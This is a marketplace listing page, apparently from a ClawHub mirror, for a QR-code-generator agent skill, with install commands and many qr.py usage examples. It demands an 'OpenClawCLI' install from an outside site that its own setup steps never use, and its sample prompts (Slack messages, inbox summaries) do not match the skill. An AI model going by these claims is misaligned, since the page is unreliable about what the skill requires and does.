Use this skill when users need to create QR codes for any purpose. Triggers include: requests to "generate QR code", "create QR", "make a QR code for", or mentions of encoding data into scannable codes. Supports URLs, text, WiFi credentials, vCards (contact information), email addresses, phone numbers, SMS, location coordinates, calendar events, and custom data. Can customize colors, add logos, generate bulk QR codes, and export in multiple formats (PNG, SVG, PDF). Requires OpenClawCLI installation from clawhub.ai.
数据来源:ClawHub。 在 ClawSkills 查看
选择你使用的 Agent
方法一:命令行安装(推荐)
推荐(无需提前安装 clawhub)
npx clawhub@latest --dir ~/.claude/skills install qr-code-generator或使用 clawhub CLI(需提前安装)
clawhub --dir ~/.claude/skills install qr-code-generator⚠️ 需要 Node.js 18+,没有 Node?请使用下方方法二直接下载 ZIP。 安装 Node.js →
方法二:手动下载安装(无需 Node)
下载 ZIP,解压后将文件夹放到以下路径,重启 Agent 即可:
安装路径
~/.claude/skills/qr-code-generator/💡解压后将文件夹放到上方路径,重启 Agent 即可生效
--- name: qr-code-generator description: "Use this skill when users need to create QR codes for any purpose. Triggers include: requests to \"generate QR code\", \"create QR\", \"make a QR code for\", or mentions of encoding data into scannable codes. Supports URLs, text, WiFi credentials, vCards (contact information), email addresses, phone numbers, SMS, location coordinates, calendar events, and custom data. Can customize colors, add logos, generate bulk QR codes, and export in multiple formats (PNG, SVG, PDF). Requires OpenClawCLI installation from clawhub.ai." license: Proprietary ---
Generate customizable QR codes for URLs, text, WiFi credentials, contact cards, and more. Supports batch generation, custom styling, logo embedding, and multiple export formats.
⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)
Installation:
# Standard installation
pip install qrcode[pil] segno
# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install qrcode[pil] segno
Never use --break-system-packages as it can damage your system's Python installation.
---
| Task | Command | |------|---------| | Basic URL QR code | python scripts/qr.py "https://example.com" | | Text QR code | python scripts/qr.py --type text "Hello World" | | WiFi QR code | python scripts/qr.py --type wifi --ssid "MyNetwork" --password "secret" | | vCard contact | python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890" | | Custom colors | python scripts/qr.py "URL" --fg-color blue --bg-color white | | With logo | python scripts/qr.py "URL" --logo logo.png | | SVG format | python scripts/qr.py "URL" --format svg | | Batch generation | python scripts/qr.py --batch urls.txt --output-dir qrcodes/ |
---
Generate QR codes for various data types with automatic formatting.
Supported Types:
Personalize QR code appearance:
Export in various formats for different use cases:
Generate multiple QR codes from:
---
Generate QR codes for websites and links.
# Simple URL
python scripts/qr.py "https://example.com"
# With custom filename
python scripts/qr.py "https://github.com" --output github_qr.png
# High error correction for printed codes
python scripts/qr.py "https://mysite.com" --error-correction H --output site_qr.png
Output:
QR code generated: qrcode.png
Size: 290x290 pixels
Error correction: M (Medium)
Data: https://example.com
Encode plain text messages.
# Simple text
python scripts/qr.py --type text "Hello, World!"
# Multi-line text
python scripts/qr.py --type text "Line 1\nLine 2\nLine 3" --output message.png
# Large text (automatic size adjustment)
python scripts/qr.py --type text "$(cat message.txt)" --output text_qr.png
Create scannable WiFi credentials.
# WPA/WPA2 network
python scripts/qr.py --type wifi --ssid "MyNetwork" --password "SecurePassword123"
# WPA2 network (explicit)
python scripts/qr.py --type wifi --ssid "HomeWiFi" --password "pass123" --security WPA
# Hidden network
python scripts/qr.py --type wifi --ssid "SecretNet" --password "secret" --hidden
# Open network (no password)
python scripts/qr.py --type wifi --ssid "GuestNetwork" --security nopass
Security types: WPA, WEP, nopass
Output QR contains:
WIFI:T:WPA;S:MyNetwork;P:SecurePassword123;H:false;;
Generate vCard QR codes for easy contact sharing.
# Basic contact
python scripts/qr.py --type vcard --name "John Doe" --phone "+1234567890"
# Full contact details
python scripts/qr.py --type vcard \
--name "Jane Smith" \
--phone "+1234567890" \
--email "[email protected]" \
--organization "Tech Corp" \
--title "Senior Developer" \
--url "https://janesmith.com" \
--address "123 Main St, City, State, 12345" \
--output jane_contact.png
# Multiple phone numbers
python scripts/qr.py --type vcard \
--name "Bob Johnson" \
--phone "+1234567890" \
--phone-home "+0987654321" \
--email "[email protected]"
Generated vCard format:
BEGIN:VCARD
VERSION:3.0
FN:John Doe
TEL:+1234567890
END:VCARD
Create mailto: links with optional subject and body.
# Simple email
python scripts/qr.py --type email --email "[email protected]"
# With subject
python scripts/qr.py --type email --email "[email protected]" --subject "Support Request"
# With subject and body
python scripts/qr.py --type email \
--email "[email protected]" \
--subject "Inquiry" \
--body "I would like more information about..."
Output QR contains:
mailto:[email protected]?subject=Support%20Request&body=Message%20text
Generate clickable phone links.
# Simple phone number
python scripts/qr.py --type phone --phone "+1234567890"
# International format
python scripts/qr.py --type phone --phone "+44 20 7946 0958"
Output QR contains:
tel:+1234567890
Create pre-filled SMS messages.
# SMS with recipient only
python scripts/qr.py --type sms --phone "+1234567890"
# SMS with message
python scripts/qr.py --type sms --phone "+1234567890" --message "Hello from QR code!"
Output QR contains:
sms:+1234567890?body=Hello%20from%20QR%20code!
Encode GPS coordinates.
# Coordinates only
python scripts/qr.py --type geo --latitude 37.7749 --longitude -122.4194
# With altitude
python scripts/qr.py --type geo --latitude 40.7128 --longitude -74.0060 --altitude 10
# Named location
python scripts/qr.py --type geo --latitude 51.5074 --longitude -0.1278 --location-name "London"
Output QR contains:
geo:37.7749,-122.4194
Generate iCalendar event QR codes.
# Basic event
python scripts/qr.py --type event \
--event-title "Team Meeting" \
--event-start "2024-03-15T14:00:00" \
--event-end "2024-03-15T15:00:00"
# Full event details
python scripts/qr.py --type event \
--event-title "Conference 2024" \
--event-start "2024-06-01T09:00:00" \
--event-end "2024-06-01T17:00:00" \
--event-location "Convention Center, NYC" \
--event-description "Annual tech conference" \
--output conference_qr.png
---
Customize foreground and background colors.
# Named colors
python scripts/qr.py "https://example.com" --fg-color blue --bg-color white
# Hex colors
python scripts/qr.py "https://example.com" --fg-color "#FF0000" --bg-color "#FFFFFF"
# RGB colors
python scripts/qr.py "https://example.com" --fg-color "rgb(0,100,200)" --bg-color "rgb(255,255,255)"
# Transparent background
python scripts/qr.py "https://example.com" --bg-color transparent --format png
...
安装 Qr Code Generator 后,可以对 AI 说这些话来触发它
Send a Slack message to the #engineering channel about the deployment
Formats and sends the message with relevant context, tagging the right people
Summarize all unread messages in my inbox from today
Reads messages across connected channels and returns a prioritized summary
Draft a reply to this customer complaint and send it for review
Writes an empathetic, professional response and routes it to the approval queue
将技能文件夹放到 ~/.claude/skills/qr-code-generator/ 目录(个人级,所有项目可用),或 .claude/skills/qr-code-generator/(项目级)。重启 AI 客户端后,用 /qr-code-generator 主动调用,或让 AI 根据上下文自动发现并使用。
Qr Code Generator 支持 Claude、Cursor、OpenClaw,可与这些 AI 平台无缝集成,扩展其能力。
Qr Code Generator 可免费安装使用。请查阅仓库了解许可证信息。
Use this skill when users need to create QR codes for any purpose. Triggers include: requests to "generate QR code", "create QR", "make a QR code for", or mentions of encoding data into scannable codes. Supports URLs, text, WiFi credentials, vCards (contact information), email addresses, phone numbers, SMS, location coordinates, calendar events, and custom data. Can customize colors, add logos, generate bulk QR codes, and export in multiple formats (PNG, SVG, PDF). Requires OpenClawCLI installation from clawhub.ai.
Qr Code Generator 属于「Communication」分类,该分类的技能帮助 AI 智能体在此领域执行专业任务。